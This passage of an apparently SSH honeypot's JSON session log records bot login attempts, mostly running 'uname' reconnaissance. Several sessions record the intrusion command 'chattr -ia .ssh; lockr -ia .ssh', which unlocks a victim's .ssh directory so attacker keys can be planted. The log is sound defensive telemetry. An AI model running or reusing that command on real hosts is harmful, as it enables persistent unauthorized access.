  "commands": 18,
  "transcript_bytes": 2258
 },
 {
  "id": "89e2d32a-8761-4f7b-b89f-c2d8e6690683",
  "name": "ancient-lofty-macaw",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 44166,
  "username": "bernard",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:40:06.179744+00:00",
  "ended_at": "2026-08-26T12:40:10.396510+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d1d946e7-fe9a-41eb-bed6-be8268600949",
  "name": "somber-vigilant-bison",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 46540,
  "username": "elasticsearch",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 330,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:40:03.244668+00:00",
  "ended_at": "2026-08-26T12:40:06.291455+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c3e1a9d9-4ddf-4e3b-93c9-c7b6cbc59c50",
  "name": "zealous-twilight-godwit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 32780,
  "username": "bernard",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 513,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:39:59.547087+00:00",
  "ended_at": "2026-08-26T12:40:10.397630+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1660
 },
 {
  "id": "728fa0bd-911f-4dcd-a95a-d83caf0e97d2",
  "name": "silent-curious-shearwater",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 47716,
  "username": "nitin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:39:46.192684+00:00",
  "ended_at": "2026-08-26T12:39:46.997070+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "24d7a761-d924-465d-9522-7a36570bc020",
  "name": "serene-pewter-polecat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 47710,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:39:42.396091+00:00",
  "ended_at": "2026-08-26T12:39:44.412963+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b3568201-f395-4d73-b9ee-18ec87b259f4",
  "name": "tidal-painted-wigeon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 59466,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 563,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:39:32.486425+00:00",
  "ended_at": "2026-08-26T12:39:38.168567+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ac149ec0-a270-4351-9111-ac856d2170e8",
  "name": "jaunty-prairie-quoll",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 51096,
  "username": "claude",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 530,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:39:21.025066+00:00",
  "ended_at": "2026-08-26T12:39:24.438514+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "600bec35-9ab5-4406-a07c-1a6428f3f1b2",
  "name": "wry-thawing-skylark",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 48838,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 551,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:39:10.757879+00:00",
  "ended_at": "2026-08-26T12:39:15.109960+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "fd6ee3ad-92ef-4ddd-ac75-fd5e0066f502",
  "name": "plush-dappled-manatee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 46534,
  "username": "monitor",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:39:04.482456+00:00",
  "ended_at": "2026-08-26T12:39:10.093084+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ed10f7ca-e99f-4ece-8b41-eeb76c9b2371",
  "name": "serene-cosmic-hedgehog",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 39780,
  "username": "monitor",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 477,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:38:59.427884+00:00",
  "ended_at": "2026-08-26T12:39:10.091460+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1660
 },
 {
  "id": "48a01cd1-d780-4a94-8e9d-3bdda38c938d",
  "name": "icy-pristine-pochard",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 40414,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:38:55.534154+00:00",
  "ended_at": "2026-08-26T12:38:56.007203+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a20220d2-e927-4bb2-a80d-cc0640441e05",
  "name": "languid-graceful-merlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 58612,
  "username": "operator",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 602,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:38:44.467134+00:00",
  "ended_at": "2026-08-26T12:38:48.152201+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "58b07c3b-4a37-48e9-a8cf-614c3e612521",
  "name": "merry-arctic-cardinal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 37654,
  "username": "frappe",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 550,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:38:25.449994+00:00",
  "ended_at": "2026-08-26T12:38:29.272738+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "23296692-f25b-4301-ae09-2d2489764b12",
  "name": "dapper-thorny-pika",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 36228,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 537,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:38:16.882856+00:00",
  "ended_at": "2026-08-26T12:38:21.164041+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "49a0cfa8-634a-4d21-8dcd-e0b637e566a3",
  "name": "indigo-downy-osprey",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 56184,
  "username": "devops",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:38:09.623661+00:00",
  "ended_at": "2026-08-26T12:38:15.393552+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "752dcf1b-1a9a-4603-b8f8-9c6933763abf",
  "name": "feral-creaky-magpie",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 43790,
  "username": "devops",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 486,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:38:04.152373+00:00",
  "ended_at": "2026-08-26T12:38:15.395715+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "68faf2f2-af2e-4dfe-a8d3-de0261a4ac10",
  "name": "dutiful-icy-cheetah",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 48440,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 523,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:38:01.837457+00:00",
  "ended_at": "2026-08-26T12:38:06.817902+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "16f3ef10-98b4-4ff2-a955-4a3f98fa32d0",
  "name": "glacial-lonesome-chinchilla",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 56156,
  "username": "support",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:38:01.617387+00:00",
  "ended_at": "2026-08-26T12:38:09.757951+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "86d8f685-f280-4c02-bd34-a48150eea369",
  "name": "prickly-quartz-dingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 47678,
  "username": "us",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:38:01.598089+00:00",
  "ended_at": "2026-08-26T12:38:02.632584+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "db023592-6a23-4ad0-a0fa-7ab8bacc870c",
  "name": "solemn-civil-avocet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 33680,
  "username": "support",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 525,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:37:57.085580+00:00",
  "ended_at": "2026-08-26T12:38:09.759249+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
  "id": "3b498e4d-af38-489e-a312-1059578ef19f",
  "name": "ivory-languid-coyote",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 47502,
  "username": "al",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 863,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:37:29.600578+00:00",
  "ended_at": "2026-08-26T12:37:31.337338+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2249
 },
 {
  "id": "2d0298a0-8195-4d1b-89c8-86424b05f335",
  "name": "tranquil-fickle-cicada",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 53656,
  "username": "deploy",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 582,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:37:25.386256+00:00",
  "ended_at": "2026-08-26T12:37:31.741453+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8c8e89c6-66ac-4f32-9ce6-a323b5af1841",
  "name": "alpine-indigo-mallard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 52118,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 539,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:37:08.946442+00:00",
  "ended_at": "2026-08-26T12:37:13.590396+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b66de7e2-7780-479b-b03a-875c6913e940",
  "name": "shifting-lively-albatross",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 47516,
  "username": "al",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:37:04.989700+00:00",
  "ended_at": "2026-08-26T12:37:07.103262+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f3f706c2-04c2-40fe-84ba-08c09fed93fd",
  "name": "graceful-earnest-onager",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 52541,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:37:04.433254+00:00",
  "ended_at": "2026-08-26T12:37:41.659215+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4955292c-8fc0-48bc-9436-f19d326b6361",
  "name": "hardy-graceful-lapwing",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 47510,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:37:02.297833+00:00",
  "ended_at": "2026-08-26T12:37:03.256510+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7c3ec6e7-70f6-4ce7-ae7f-b805ffd17b42",
  "name": "downy-mottled-eagle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 55656,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 547,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:36:53.718514+00:00",
  "ended_at": "2026-08-26T12:36:56.723394+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b4be05b8-4ed0-43bb-86c1-2573f19a69a6",
  "name": "flinty-upland-whimbrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 39642,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 525,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:36:50.010738+00:00",
  "ended_at": "2026-08-26T12:36:55.565191+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c8b69407-870a-4c43-9319-bba218112878",
  "name": "sturdy-creaky-grebe",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 33714,
  "username": "hamed",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:36:48.424646+00:00",
  "ended_at": "2026-08-26T12:36:51.476739+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bf9b5be4-8621-475c-8876-da944a9c4b58",
  "name": "cheerful-steady-bittern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 58730,
  "username": "hamed",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 424,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:36:41.077492+00:00",
  "ended_at": "2026-08-26T12:36:51.475336+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1658
 },
 {
  "id": "80e257fc-7a99-4df4-aff3-966b40eccb2d",
  "name": "umber-burly-curlew",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 53704,
  "username": "gitlab-runner",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:36:35.950659+00:00",
  "ended_at": "2026-08-26T12:36:41.648721+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b930ae98-143b-4253-846c-9b5884d52bea",
  "name": "downy-noble-heron",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 59674,
  "username": "gitlab-runner",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 343,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:36:29.222554+00:00",
  "ended_at": "2026-08-26T12:36:41.650304+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "10f241ff-9e2e-4e26-91b8-d248f8e36af4",
  "name": "brazen-solemn-gadwall",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 55660,
  "username": "hummingbot",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:36:04.807139+00:00",
  "ended_at": "2026-08-26T12:36:09.308136+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2f8bde1c-63f1-44f4-9ff4-cfce8a792bb2",
  "name": "gentle-marine-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 32780,
  "username": "rdpuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 387,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:35:59.787287+00:00",
  "ended_at": "2026-08-26T12:36:04.274901+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a6141017-7b93-4e6d-b47c-3eedef71d6fc",
  "name": "mighty-jovial-hare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 51654,
  "username": "hummingbot",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 599,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:35:58.853791+00:00",
  "ended_at": "2026-08-26T12:36:09.309334+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1663
 },
 {
  "id": "4d8d85fe-c887-435f-a0f5-da7030e64404",
  "name": "hushed-plucky-skink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "211.225.139.200",
  "src_port": 55771,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 395,
  "probe_flagged": 0,
  "exec_command": "echo 'VERIFY_1787747607187439600_2342'",
  "started_at": "2026-08-26T12:35:52.542767+00:00",
  "ended_at": "2026-08-26T12:36:22.095884+00:00",
  "ended_reason": "exec complete",
  "commands": 2,
  "transcript_bytes": 107
 },
 {
  "id": "f7267e01-35a6-4bfd-bab5-8334637c17ca",
  "name": "cobalt-gritty-vulture",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 54216,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 500,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:35:45.007803+00:00",
  "ended_at": "2026-08-26T12:35:48.866847+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5786d337-5e87-436f-bf2f-265144cfdb0c",
  "name": "lucid-tranquil-martin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 44000,
  "username": "user1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 361,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:35:29.041836+00:00",
  "ended_at": "2026-08-26T12:35:32.588293+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "bf9cf518-07a7-4586-a6e7-b2e8fd89179e",
  "name": "scarlet-dutiful-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 43104,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 729,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:35:17.036607+00:00",
  "ended_at": "2026-08-26T12:35:21.457617+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f6671e8c-ecfd-491d-812a-1908b230389b",
  "name": "lawful-verdant-onager",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 60998,
  "username": "sftpuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:35:11.468186+00:00",
  "ended_at": "2026-08-26T12:35:15.513611+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "93feaced-5052-4b51-b8b6-5b681849bd21",
  "name": "thrifty-western-boar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 36238,
  "username": "webadmin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 411,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:35:06.808639+00:00",
  "ended_at": "2026-08-26T12:35:11.923017+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4a12b502-2055-40f5-b317-12f602d8b107",
  "name": "rugged-bashful-osprey",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 45138,
  "username": "sftpuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 648,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:35:05.737703+00:00",
  "ended_at": "2026-08-26T12:35:15.514877+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1656
 },
 {
  "id": "aef5bdfc-ac32-4b03-a032-ed995f41b3ec",
  "name": "proud-humble-okapi",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 54228,
  "username": "ec2-user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:34:50.094707+00:00",
  "ended_at": "2026-08-26T12:34:57.445063+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "78389d4b-de1b-403b-8ad2-5fa049110124",
  "name": "gleaming-crisp-walrus",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 33428,
  "username": "ec2-user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 402,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:34:43.145583+00:00",
  "ended_at": "2026-08-26T12:34:57.446023+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "5e2cd64b-311b-46d2-a968-81bcb3cce1c4",
  "name": "bashful-primal-walrus",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 47294,
  "username": "deploy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 861,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:34:38.057535+00:00",
  "ended_at": "2026-08-26T12:34:39.429294+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2255
 },
 {
  "id": "d6d0bed7-188d-4aad-a6f6-17906736e7c4",
  "name": "lawful-murky-squirrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 41116,
  "username": "ftpuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 346,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:34:20.107571+00:00",
  "ended_at": "2026-08-26T12:34:24.080035+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5a16f540-4d17-4a71-a154-5c36773f82f2",
  "name": "sullen-nameless-flamingo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 47308,
  "username": "deploy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:34:14.310327+00:00",
  "ended_at": "2026-08-26T12:34:15.128387+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9099d732-c76c-4bce-a060-1a262b885ea5",
  "name": "boreal-drifting-catbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 47302,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:34:11.392109+00:00",
  "ended_at": "2026-08-26T12:34:12.594831+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9595c15a-7c4e-432e-bacc-7561c16f3fc3",
  "name": "feathered-dapper-vicuna",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 49686,
  "username": "elastic",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 421,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:34:06.479405+00:00",
  "ended_at": "2026-08-26T12:34:09.887830+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6cd66531-d011-40b7-8df0-6bf6b14f0c7c",
  "name": "lonesome-dusty-magpie",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 47650,
  "username": "deploy",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 431,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:34:03.797403+00:00",
  "ended_at": "2026-08-26T12:34:09.300649+00:00",
